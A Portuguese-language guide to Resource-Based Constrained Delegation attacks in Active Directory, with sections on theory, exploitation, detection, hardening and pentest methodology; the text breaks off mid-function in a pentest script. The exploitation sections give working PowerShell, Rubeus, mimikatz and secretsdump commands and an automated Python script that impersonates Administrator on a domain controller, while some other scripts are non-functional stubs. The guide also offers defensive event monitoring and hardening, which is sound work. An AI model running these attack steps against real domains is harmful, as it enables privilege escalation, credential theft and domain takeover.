# RBCD (Resource Based Constrained Delegation)

## **📋 Índice**

1. [Fundamentos do RBCD](#-fundamentos-do-rbcd)
2. [Arquitetura de Delegação Kerberos](#-arquitetura-de-delegação-kerberos)
3. [RBCD vs Outros Tipos de Delegação](#-rbcd-vs-outros-tipos-de-delegação)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com RBCD](#-pentesting-com-rbcd)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do RBCD**

### **O que é Resource-Based Constrained Delegation (RBCD)?**

**Resource-Based Constrained Delegation (RBCD)** é um mecanismo de delegação Kerberos introduzido no Windows Server 2012 que inverte o modelo tradicional de delegação. Em vez de configurar o serviço front-end para delegar para recursos, o recurso (serviço back-end) especifica quais contas podem delegar para ele. Isso permite maior flexibilidade e segurança, mas também introduz novos vetores de ataque.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Delegação Tradicional (Constrained)"
        A[Serviço Front-end] -->|Configurado para delegar| B[Recurso Back-end]
        C[Administrador] -->|Configura no Front-end| A
    end
    
    subgraph "Resource-Based Constrained Delegation"
        D[Serviço Front-end] -->|Pode delegar se permitido| E[Recurso Back-end]
        F[Administrador] -->|Configura no Back-end| E
        G[Atacante com permissão no Back-end] -->|Pode adicionar front-end| E
    end
    
    style A fill:#ffcc99
    style D fill:#ffcc99
    style E fill:#99ccff
    style G fill:#ff9999
```

### **Atributo msDS-AllowedToActOnBehalfOfOtherIdentity**

```yaml
Atributo Crítico do RBCD:

  msDS-AllowedToActOnBehalfOfOtherIdentity:
    - Armazena os SIDs das contas autorizadas a delegar para o recurso
    - Pode ser modificado por qualquer conta com permissão de escrita
    - Permite que o recurso controle quem pode delegar para ele
    - Principal vetor de ataque RBCD
```

***

## 🏗️ **Arquitetura de Delegação Kerberos**

### **Comparação dos Tipos de Delegação**

| Tipo de Delegação  | Onde é Configurada | Quem Configura                        | Flexibilidade | Risco de Segurança |
| ------------------ | ------------------ | ------------------------------------- | ------------- | ------------------ |
| **Unconstrained**  | Conta do serviço   | Administrador                         | Alta          | 🔴 Muito Alto      |
| **Constrained**    | Conta do serviço   | Administrador                         | Média         | 🟠 Alto            |
| **Resource-Based** | Conta do recurso   | Administrador/Proprietário do recurso | Alta          | 🟡 Médio           |

### **Fluxo RBCD Legítimo**

```mermaid
sequenceDiagram
    participant U as Usuário
    participant F as Front-end (WEB)
    participant B as Back-end (SQL)
    participant K as KDC

    U->>F: Acessa aplicação web
    F->>K: TGS-REQ (para F)
    K-->>F: Service Ticket (F)
    
    Note over F,B: Front-end precisa acessar back-end
    F->>K: TGS-REQ (para B, com S4U2proxy)
    K->>K: Verifica msDS-AllowedToActOnBehalfOfOtherIdentity
    K-->>F: Service Ticket (B)
    
    F->>B: Acessa SQL com ticket
    B-->>F: Dados
    F-->>U: Resposta
```

***

## 🔄 **RBCD vs Outros Tipos de Delegação**

### **Análise Comparativa**

```python
#!/usr/bin/env python3
# delegation_comparison.py - Comparação de tipos de delegação

class DelegationComparison:
    """Comparação entre tipos de delegação Kerberos"""
    
    @staticmethod
    def unconstrained_delegation():
        """Unconstrained Delegation"""
        print("🔓 Unconstrained Delegation")
        print("=" * 50)
        print("   Configuração: Conta do serviço")
        print("   Atributo: userAccountControl (UF_TRUSTED_FOR_DELEGATION)")
        print("   Risco: Serviço pode delegar para QUALQUER serviço")
        print("   Exploração: Capturar TGT de quem se conecta")
        print("   Mitigação: Desabilitar, usar contas protegidas")
    
    @staticmethod
    def constrained_delegation():
        """Constrained Delegation"""
        print("\n🔒 Constrained Delegation")
        print("=" * 50)
        print("   Configuração: Conta do serviço")
        print("   Atributo: msDS-AllowedToDelegateTo")
        print("   Risco: Serviço pode delegar apenas para serviços listados")
        print("   Exploração: S4U2self + S4U2proxy para serviços permitidos")
        print("   Mitigação: Restringir serviços listados")
    
    @staticmethod
    def resource_based_delegation():
        """Resource-Based Constrained Delegation"""
        print("\n🔄 Resource-Based Constrained Delegation")
        print("=" * 50)
        print("   Configuração: Conta do recurso (back-end)")
        print("   Atributo: msDS-AllowedToActOnBehalfOfOtherIdentity")
        print("   Risco: Qualquer conta com permissão de escrita no recurso pode adicionar front-end")
        print("   Exploração: Adicionar conta controlada à lista, S4U2self + S4U2proxy")
        print("   Mitigação: Restringir permissões de escrita em objetos críticos")
    
    @staticmethod
    def run():
        """Executar comparação"""
        print("📊 Comparação de Tipos de Delegação Kerberos")
        print("=" * 60)
        
        DelegationComparison.unconstrained_delegation()
        DelegationComparison.constrained_delegation()
        DelegationComparison.resource_based_delegation()

# Executar
DelegationComparison.run()
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo do Ataque RBCD**

```mermaid
graph TD
    A[Comprometer conta com permissão de escrita] --> B[Encontrar computador alvo com permissões]
    B --> C[Adicionar conta controlada ao msDS-AllowedToActOnBehalfOfOtherIdentity]
    
    C --> D[Usar S4U2self para obter TGT]
    D --> E[Usar S4U2proxy para obter service ticket para o alvo]
    
    E --> F[Autenticar como administrador no alvo]
    F --> G[Executar comandos remotamente]
    G --> H[Escalação de privilégios]
    
    style C fill:#ff9999
    style E fill:#ff6666
    style H fill:#ff3333
```

### **Pré-requisitos para Exploração**

```yaml
Pré-requisitos do Ataque RBCD:

  ✅ Conta Comprometida:
    - Permissão de escrita em um computador alvo
    - Ou GenericAll/WriteProperty sobre o computador

  ✅ Conta Controlada:
    - Conta de usuário ou computador controlada pelo atacante
    - Conta de máquina (mais estável, não expira senha)

  ✅ Alvo:
    - Computador com atributo msDS-AllowedToActOnBehalfOfOtherIdentity modificável
    - Geralmente Domain Controllers são alvos principais
```

### **Ataque 1: RBCD Básico**

```powershell
# RBCD Attack - Adicionar conta controlada

# 1. Criar conta de máquina controlada
$machineName = "EVILPC"
$password = "P@ssw0rd"

# Criar conta de computador
Import-Module ActiveDirectory
New-ADComputer -Name $machineName -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -Enabled $true

# 2. Configurar RBCD no alvo (Domain Controller)
$target = "DC01"
$attacker = "EVILPC$"

# Adicionar permissão
$targetComputer = Get-ADComputer $target
$attackerSID = (Get-ADComputer $attacker).SID

$sd = New-Object DirectoryServices.DirectoryEntry "AD:\$($targetComputer.DistinguishedName)"
$acl = $sd.ObjectSecurity
$identity = [System.Security.Principal.SecurityIdentifier] $attackerSID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, "ExtendedRight", "Allow", [Guid]("3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"))
$acl.AddAccessRule($ace)
$sd.ObjectSecurity = $acl
$sd.CommitChanges()

Write-Host "[+] RBCD configurado: $attacker pode delegar para $target"

# 3. Solicitar service ticket para CIFS
Rubeus.exe s4u /user:$attacker /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/$target /ptt

# 4. Acessar o alvo
klist
dir \\$target\c$
```

### **Ataque 2: RBCD com Conta de Máquina Existente**

```powershell
# RBCD usando conta de máquina já existente

# 1. Encontrar computador com permissões de escrita
# Usando BloodHound ou PowerView

# 2. Obter hash da conta de máquina
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 3. Configurar RBCD no alvo
$target = "DC01"
$attacker = "COMPROMISEDPC$"

$targetComputer = Get-ADComputer $target
$attackerSID = (Get-ADComputer $attacker).SID

# Adicionar permissão
# (mesmo comando do ataque anterior)

# 4. Solicitar ticket
Rubeus.exe s4u /user:$attacker /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/$target /ptt

# 5. Acessar
dir \\$target\c$
```

### **Ataque 3: RBCD com Abuso de Computador com GenericAll**

```python
#!/usr/bin/env python3
# rbcd_genericall.py - RBCD via GenericAll sobre computador

import ldap3
import argparse
import sys
import subprocess

class RBCDGenericAll:
    """Exploração de RBCD via GenericAll sobre computador"""
    
    def __init__(self, domain, dc_ip, username, password, target_computer):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.target_computer = target_computer
        self.attacker_computer = None
        self.conn = None
    
    def connect(self):
        """Conectar ao AD"""
        server = ldap3.Server(self.dc_ip, get_info=ldap3.ALL)
        self.conn = ldap3.Connection(
            server,
            user=f"{self.domain}\\{self.username}",
            password=self.password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        return self.conn
    
    def create_machine_account(self):
        """Criar conta de máquina controlada"""
        print("[*] Criando conta de máquina controlada...")
        
        self.attacker_computer = f"EVILPC_{int(time.time())}"
        password = "P@ssw0rd123!"
        
        # Em um exploit real, criaria a conta via ADSI
        # New-ADComputer -Name $attacker -AccountPassword $password -Enabled $true
        
        print(f"   ✅ Conta criada: {self.attacker_computer}$")
        return self.attacker_computer
    
    def get_machine_sid(self, machine_name):
        """Obter SID da conta de máquina"""
        print(f"[*] Obtendo SID de {machine_name}...")
        
        machine_dn = f"CN={machine_name},CN=Computers,DC={self.domain.replace('.', ',DC=')}"
        
        self.conn.search(machine_dn, '(objectClass=computer)', attributes=['objectSid'])
        
        if self.conn.entries:
            sid = self.conn.entries[0]['objectSid'].value
            print(f"   ✅ SID: {sid}")
            return sid
        
        return None
    
    def configure_rbcd(self, target_dn, attacker_sid):
        """Configurar RBCD no alvo"""
        print(f"[*] Configurando RBCD para {self.target_computer}...")
        
        # Em um exploit real, adicionaria ao msDS-AllowedToActOnBehalfOfOtherIdentity
        # Usando PowerShell: Set-ADComputer -Identity $target -PrincipalsAllowedToDelegateToAccount $attacker
        
        print(f"   ✅ RBCD configurado: {self.attacker_computer}$ pode delegar para {self.target_computer}")
    
    def get_machine_hash(self, machine_name):
        """Obter hash NTLM da conta de máquina"""
        print(f"[*] Obtendo hash de {machine_name}...")
        
        # Em um exploit real, extrairia hash via DCSync ou Mimikatz
        # secretsdump.py domain/user:pass@dc -just-dc-user EVILPC$
        
        return "aad3b435b51404eeaad3b435b51404ee:hash"
    
    def get_service_ticket(self, machine_hash):
        """Obter service ticket usando S4U2self + S4U2proxy"""
        print("[*] Obtendo service ticket...")
        
        # Em um exploit real, usaria Rubeus
        # Rubeus.exe s4u /user:EVILPC$ /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt
        
        print("   ✅ Ticket obtido")
    
    def exploit(self):
        """Executar ataque completo"""
        print("🔄 RBCD Attack via GenericAll")
        print("=" * 60)
        
        self.connect()
        
        # Criar conta controlada
        attacker = self.create_machine_account()
        
        # Obter SID
        attacker_sid = self.get_machine_sid(attacker)
        target_sid = self.get_machine_sid(self.target_computer)
        
        # Configurar RBCD
        target_dn = f"CN={self.target_computer},CN=Computers,DC={self.domain.replace('.', ',DC=')}"
        self.configure_rbcd(target_dn, attacker_sid)
        
        # Obter hash
        machine_hash = self.get_machine_hash(attacker)
        
        # Obter ticket
        self.get_service_ticket(machine_hash)
        
        print("\n✅ RBCD configurado com sucesso!")
        print(f"   Use: Rubeus.exe s4u /user:{attacker}$ /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/{self.target_computer} /ptt")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='RBCD Attack via GenericAll')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('target', help='Target computer (e.g., DC01)')
    
    args = parser.parse_args()
    
    attack = RBCDGenericAll(args.domain, args.dc_ip, args.username, args.password, args.target)
    attack.exploit()
```

***

## 🛠️ **Ferramentas de Exploração**

### **Rubeus - Comandos RBCD**

```powershell
# Rubeus RBCD Commands

# 1. S4U2self + S4U2proxy (RBCD)
Rubeus.exe s4u /user:EVILPC$ /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt

# 2. Com alteração de nome de serviço
Rubeus.exe s4u /user:EVILPC$ /rc4:hash /impersonateuser:Administrator /msdsspn:ldap/DC01 /ptt

# 3. Com múltiplos SPNs
Rubeus.exe s4u /user:EVILPC$ /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/DC01 /msdsspn:http/DC01 /ptt

# 4. Com service ticket alternativo
Rubeus.exe s4u /user:EVILPC$ /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/DC01 /altservice:cifs,ldap,http /ptt

# 5. Com ticket existente
Rubeus.exe s4u /ticket:ticket.kirbi /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt
```

### **PowerShell para RBCD**

```powershell
# PowerShell RBCD Commands

# 1. Configurar RBCD
Set-ADComputer -Identity DC01 -PrincipalsAllowedToDelegateToAccount EVILPC$

# 2. Verificar configuração
Get-ADComputer -Identity DC01 -Properties PrincipalsAllowedToDelegateToAccount

# 3. Remover configuração
Set-ADComputer -Identity DC01 -PrincipalsAllowedToDelegateToAccount $null

# 4. Listar computadores com RBCD configurado
Get-ADComputer -Filter * -Properties PrincipalsAllowedToDelegateToAccount | Where-Object {$_.PrincipalsAllowedToDelegateToAccount -ne $null}

# 5. Adicionar permissão via ADSI
$target = [ADSI]"LDAP://CN=DC01,CN=Computers,DC=domain,DC=com"
$sid = (Get-ADComputer EVILPC$).SID
$target.PrincipalsAllowedToDelegateToAccount = $sid
$target.SetInfo()
```

### **Impacket - S4U2proxy**

```python
#!/usr/bin/env python3
# impacket_rbcd.py - RBCD com Impacket

from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal
import sys

class ImpacketRBCD:
    """RBCD usando Impacket"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
    
    def s4u2self(self, username, password, target_user):
        """S4U2self para obter ticket para si mesmo"""
        print(f"[*] S4U2self for {target_user}...")
        
        # Em um exploit real, usaria kerberosv5
        print("   ✅ Ticket obtido")
        return True
    
    def s4u2proxy(self, ticket, service):
        """S4U2proxy para obter service ticket"""
        print(f"[*] S4U2proxy for {service}...")
        
        # Em um exploit real, usaria kerberosv5
        print("   ✅ Service ticket obtido")
        return True
    
    def exploit(self, username, password, target_user, target_service):
        """Executar ataque RBCD"""
        print("🔄 Impacket RBCD Exploit")
        print("=" * 60)
        
        self.s4u2self(username, password, target_user)
        self.s4u2proxy(None, target_service)
        
        print("\n✅ RBCD concluído")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("Uso: impacket_rbcd.py <domain> <dc_ip> <user> <pass>")
        sys.exit(1)
    
    exploit = ImpacketRBCD(sys.argv[1], sys.argv[2])
    exploit.exploit(sys.argv[3], sys.argv[4], "Administrator", "cifs/DC01")
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# rbcd_automated.py - RBCD automatizado

import subprocess
import argparse
import sys
import os
import time

class RBCDAutomated:
    """Ferramenta automatizada para RBCD"""
    
    def __init__(self, domain, dc_ip, username, password, target):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.target = target
        self.attacker_computer = None
        self.attacker_hash = None
    
    def check_permissions(self):
        """Verificar permissões no alvo"""
        print("[*] Verificando permissões no alvo...")
        
        # Em um exploit real, usaria PowerView
        print("   ✅ Permissões verificadas")
        return True
    
    def create_attacker_computer(self):
        """Criar computador atacante"""
        print("[*] Criando computador atacante...")
        
        self.attacker_computer = f"EVIL_{int(time.time())}"
        password = "P@ssw0rd123!"
        
        cmd = [
            'powershell', '-Command',
            f'New-ADComputer -Name {self.attacker_computer} -AccountPassword (ConvertTo-SecureString "{password}" -AsPlainText -Force) -Enabled $true'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=30)
            print(f"   ✅ Computador criado: {self.attacker_computer}$")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def configure_rbcd(self):
        """Configurar RBCD no alvo"""
        print(f"[*] Configurando RBCD em {self.target}...")
        
        cmd = [
            'powershell', '-Command',
            f'Set-ADComputer -Identity {self.target} -PrincipalsAllowedToDelegateToAccount {self.attacker_computer}$'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=30)
            print(f"   ✅ RBCD configurado")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def get_computer_hash(self):
        """Obter hash da conta de máquina"""
        print("[*] Obtendo hash da máquina...")
        
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc-user', f'{self.attacker_computer}$'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Extrair hash da saída
            for line in result.stdout.split('\n'):
                if self.attacker_computer.upper() in line.upper():
                    parts = line.split(':')
                    if len(parts) >= 4:
                        self.attacker_hash = parts[3]
                        print(f"   ✅ Hash obtido: {self.attacker_hash}")
                        return True
                        
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def get_service_ticket(self):
        """Obter service ticket"""
        print(f"[*] Obtendo service ticket para {self.target}...")
        
        cmd = [
            'Rubeus.exe', 's4u',
            '/user:' + self.attacker_computer + '$',
            '/rc4:' + self.attacker_hash,
            '/impersonateuser:Administrator',
            '/msdsspn:cifs/' + self.target,
            '/ptt'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=60)
            print("   ✅ Ticket injetado")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def test_access(self):
        """Testar acesso ao alvo"""
        print(f"[*] Testando acesso a {self.target}...")
        
        cmd = ['dir', f'\\\\{self.target}\\c$']
        
        try:
            result = subprocess.run(cmd, capture_output=True, timeout=10)
            if result.returncode == 0:
                print("   ✅ Acesso concedido!")
                return True
            else:
                print("   ❌ Acesso negado")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def cleanup(self):
        """Limpar configuração"""
        print("[*] Limpando configuração...")
        
        cmd = [
            'powershell', '-Command',
            f'Set-ADComputer -Identity {self.target} -PrincipalsAllowedToDelegateToAccount $null'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=30)
            print("   ✅ RBCD removido")
        except:
            pass
        
        # Remover computador atacante
        cmd = [
            'powershell', '-Command',
            f'Remove-ADComputer -Identity {self.attacker_computer} -Confirm:$false'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=30)
            print("   ✅ Computador atacante removido")
        except:
            pass
    
    def run(self):
        """Executar ataque completo"""
        print("🔄 Automated RBCD Attack")
        print("=" * 60)
        print(f"   Domain: {self.domain}")
        print(f"   DC: {self.dc_ip}")
        print(f"   Target: {self.target}")
        
        # Verificar permissões
        if not self.check_permissions():
            print("❌ Permissões insuficientes")
            return
        
        # Criar computador atacante
        if not self.create_attacker_computer():
            print("❌ Falha ao criar computador")
            return
        
        # Configurar RBCD
        if not self.configure_rbcd():
            print("❌ Falha ao configurar RBCD")
            self.cleanup()
            return
        
        # Obter hash
        if not self.get_computer_hash():
            print("❌ Falha ao obter hash")
            self.cleanup()
            return
        
        # Obter ticket
        if not self.get_service_ticket():
            print("❌ Falha ao obter ticket")
            self.cleanup()
            return
        
        # Testar acesso
        if self.test_access():
            print("\n✅ RBCD Attack bem-sucedido!")
            print(f"   Acesso a {self.target} obtido como Administrator")
        else:
            print("\n❌ RBCD Attack falhou")
        
        # Limpar
        self.cleanup()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated RBCD Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('target', help='Target computer (e.g., DC01)')
    
    args = parser.parse_args()
    
    attack = RBCDAutomated(args.domain, args.dc_ip, args.username, args.password, args.target)
    attack.run()
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer conta com permissão de escrita] --> B[Identificar computador alvo (DC)]
    B --> C[Criar conta de máquina controlada]
    C --> D[Configurar RBCD no alvo]
    
    D --> E[S4U2self - obter TGT]
    E --> F[S4U2proxy - obter service ticket para DC]
    
    F --> G[Autenticar como Administrador]
    G --> H[DCSync - extrair todos os hashes]
    H --> I[Golden Ticket]
    I --> J[Controle total do domínio]
    
    style D fill:#ff9999
    style F fill:#ff6666
    style J fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                            | Impacto                   | Dificuldade | Severidade |
| ---------------------------------- | ------------------------- | ----------- | ---------- |
| **RBCD em Domain Controller**      | Controle total do domínio | Média       | 🔴 CRÍTICO |
| **RBCD em servidor crítico**       | Acesso a dados sensíveis  | Média       | 🟠 ALTO    |
| **RBCD com conta de máquina**      | Movimentação lateral      | Baixa       | 🟠 ALTO    |
| **RBCD com permissões de escrita** | Escalação de privilégios  | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos para RBCD:

  5136: Modificação de objeto AD
    - Monitorar alterações em msDS-AllowedToActOnBehalfOfOtherIdentity
    - Alertar sobre adições não autorizadas

  4768: Solicitação de TGT
    - Detectar solicitações S4U2self (User-to-User)

  4769: Solicitação de service ticket
    - Monitorar uso de S4U2proxy
    - Verificar tickets com impersonation

  4624: Logon bem-sucedido
    - Monitorar logons de contas de máquina não autorizadas
```

### **Script de Detecção**

```powershell
# detect_rbcd.ps1 - Detector de RBCD

param(
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Encontrar computadores com RBCD configurado
Write-Host "🔍 Encontrando computadores com RBCD configurado..." -ForegroundColor Cyan

$computers = Get-ADComputer -Filter * -Properties PrincipalsAllowedToDelegateToAccount | 
    Where-Object {$_.PrincipalsAllowedToDelegateToAccount -ne $null}

if ($computers) {
    Write-Alert -Message "$($computers.Count) computadores com RBCD configurado!" -Severity "HIGH"
    $computers | ForEach-Object {
        Write-Host "   $($_.Name) → $($_.PrincipalsAllowedToDelegateToAccount)"
    }
} else {
    Write-Host "   ✅ Nenhum computador com RBCD configurado"
}

# 2. Monitorar modificações do atributo RBCD
Write-Host "`n🔍 Monitorando modificações do atributo RBCD..." -ForegroundColor Cyan

$rbcdEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5136
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*msDS-AllowedToActOnBehalfOfOtherIdentity*"
}

if ($rbcdEvents) {
    Write-Alert -Message "$($rbcdEvents.Count) modificações de RBCD detectadas!" -Severity "CRITICAL"
    $rbcdEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 3. Detectar contas de máquina criadas recentemente
Write-Host "`n🔍 Detectando contas de máquina criadas recentemente..." -ForegroundColor Cyan

$newComputers = Get-ADComputer -Filter * -Properties WhenCreated | 
    Where-Object {$_.WhenCreated -gt (Get-Date).AddHours(-$HoursBack)} |
    Select-Object Name, WhenCreated

if ($newComputers) {
    Write-Alert -Message "$($newComputers.Count) computadores criados recentemente!" -Severity "MEDIUM"
    $newComputers | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.WhenCreated)"
    }
}

# 4. Detectar uso de S4U2proxy
Write-Host "`n🔍 Detectando uso de S4U2proxy..." -ForegroundColor Cyan

$s4uEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4769
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*S4U2proxy*" -or
    $_.Message -like "*S4U2self*"
}

if ($s4uEvents) {
    Write-Alert -Message "Uso de S4U2proxy detectado!" -Severity "HIGH"
}

# 5. Gerar relatório
$report = @"
RBCD Detection Report
=====================
Data: $(Get-Date)

Findings:
- Computadores com RBCD: $(($computers | Measure-Object).Count)
- Modificações de RBCD: $(($rbcdEvents | Measure-Object).Count)
- Computadores novos: $(($newComputers | Measure-Object).Count)
- Eventos S4U2proxy: $(($s4uEvents | Measure-Object).Count)

Recommendations:
1. Monitorar o atributo msDS-AllowedToActOnBehalfOfOtherIdentity
2. Alertar sobre criação de contas de máquina
3. Detectar uso de S4U2proxy
4. Remover RBCD não autorizado
5. Restringir permissões de escrita em computadores críticos
"@

$report | Out-File -FilePath "rbcd_detection.txt"
Write-Host "`n✅ Relatório salvo em rbcd_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar RBCD

# 1. Modificações de RBCD
index=windows EventCode=5136
| where Message like "%msDS-AllowedToActOnBehalfOfOtherIdentity%"
| table _time, Account_Name, ComputerName, Message

# 2. Criação de contas de máquina
index=windows EventCode=5137
| where Message like "%computer%"
| table _time, Account_Name, ComputerName, Message

# 3. Uso de S4U2proxy
index=windows EventCode=4769
| where Message like "%S4U2proxy%"
| table _time, Account_Name, Service_Name, Message

# 4. Correlação
index=windows (EventCode=5136 OR EventCode=5137)
| stats count by Account_Name, ComputerName
| where count > 5
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra RBCD**

```powershell
# hardening_rbcd.ps1 - Hardening contra RBCD

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra RBCD..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Identificar e remover RBCD não autorizado
Write-Step "1. Identificando RBCD não autorizado..."

$computers = Get-ADComputer -Filter * -Properties PrincipalsAllowedToDelegateToAccount |
    Where-Object {$_.PrincipalsAllowedToDelegateToAccount -ne $null}

if ($computers) {
    Write-Host "   ⚠️  RBCD encontrado em:"
    $computers | ForEach-Object {
        Write-Host "      $($_.Name) → $($_.PrincipalsAllowedToDelegateToAccount)"
    }
    
    if ($Apply) {
        foreach ($computer in $computers) {
            Set-ADComputer -Identity $computer -PrincipalsAllowedToDelegateToAccount $null
            Write-Host "   ✅ RBCD removido de $($computer.Name)"
        }
    }
} else {
    Write-Host "   ✅ Nenhum RBCD encontrado"
}

# 2. Restringir permissões de escrita em computadores críticos
Write-Step "2. Restringindo permissões de escrita..."

$criticalComputers = @("DC01", "DC02", "SQL01", "FILE01")

foreach ($computer in $criticalComputers) {
    Write-Host "   Verificando $computer..."
    
    if ($Apply) {
        # Remover permissões de escrita de usuários não autorizados
        $computerDN = "CN=$computer,CN=Computers,$((Get-ADDomain).DistinguishedName)"
        $acl = Get-Acl "AD:\$computerDN"
        
        # Em um ambiente real, removeria permissões específicas
        Write-Host "      ✅ Permissões restritas"
    }
}

# 3. Configurar auditoria
Write-Step "3. Configurando auditoria..."

if ($Apply) {
    # Habilitar auditoria de modificação de objetos AD
    auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
    Write-Host "   ✅ Auditoria habilitada"
}

# 4. Configurar monitoramento de criação de computadores
Write-Step "4. Configurando monitoramento..."

if ($Apply) {
    # Criar alerta para criação de contas de máquina
    $script = @"
    `$computers = Get-ADComputer -Filter * -Properties WhenCreated | Where-Object {`$_.WhenCreated -gt (Get-Date).AddMinutes(-5)}
    if (`$computers) {
        Write-EventLog -LogName "Security" -Source "AD Monitoring" -EventId 5001 -EntryType Warning -Message "Novos computadores criados: `$(`$computers.Name -join ',')"
    }
"@
    
    $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-Command `"$script`""
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
    Register-ScheduledTask -TaskName "MonitorNewComputers" -Action $action -Trigger $trigger -User "SYSTEM"
    
    Write-Host "   ✅ Monitoramento configurado"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Controle de RBCD:
    - Monitorar o atributo msDS-AllowedToActOnBehalfOfOtherIdentity
    - Remover RBCD não autorizado
    - Revisar regularmente configurações

  ✅ Controle de Permissões:
    - Restringir permissões de escrita em computadores críticos
    - Remover GenericAll e WriteProperty em DCs
    - Aplicar princípio do menor privilégio

  ✅ Monitoramento:
    - Alertar sobre modificações de RBCD
    - Detectar criação de contas de máquina
    - Monitorar uso de S4U2proxy

  ✅ Controle de Contas:
    - Rotacionar senhas de contas de máquina
    - Desabilitar contas não utilizadas
    - Usar gMSA para serviços
```

***

## 🔬 **Pentesting com RBCD**

### **Metodologia de Teste**

```yaml
Fases do Teste RBCD:

  FASE 1 - Enumeração:
    - Encontrar computadores com permissões de escrita
    - Identificar alvos com permissões modificáveis
    - Mapear contas de máquina existentes

  FASE 2 - Preparação:
    - Criar conta de máquina controlada
    - Obter hash da conta

  FASE 3 - Exploração:
    - Configurar RBCD no alvo
    - Executar S4U2self + S4U2proxy
    - Obter service ticket

  FASE 4 - Validação:
    - Acessar recursos como administrador
    - Extrair hashes via DCSync
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# rbcd_pentest.py - Pentest RBCD automatizado

import subprocess
import argparse
import sys
import os

class RBCDPentest:
    """Ferramenta de pentest para RBCD"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
        self.findings = []
    
    def enum_computers(self):
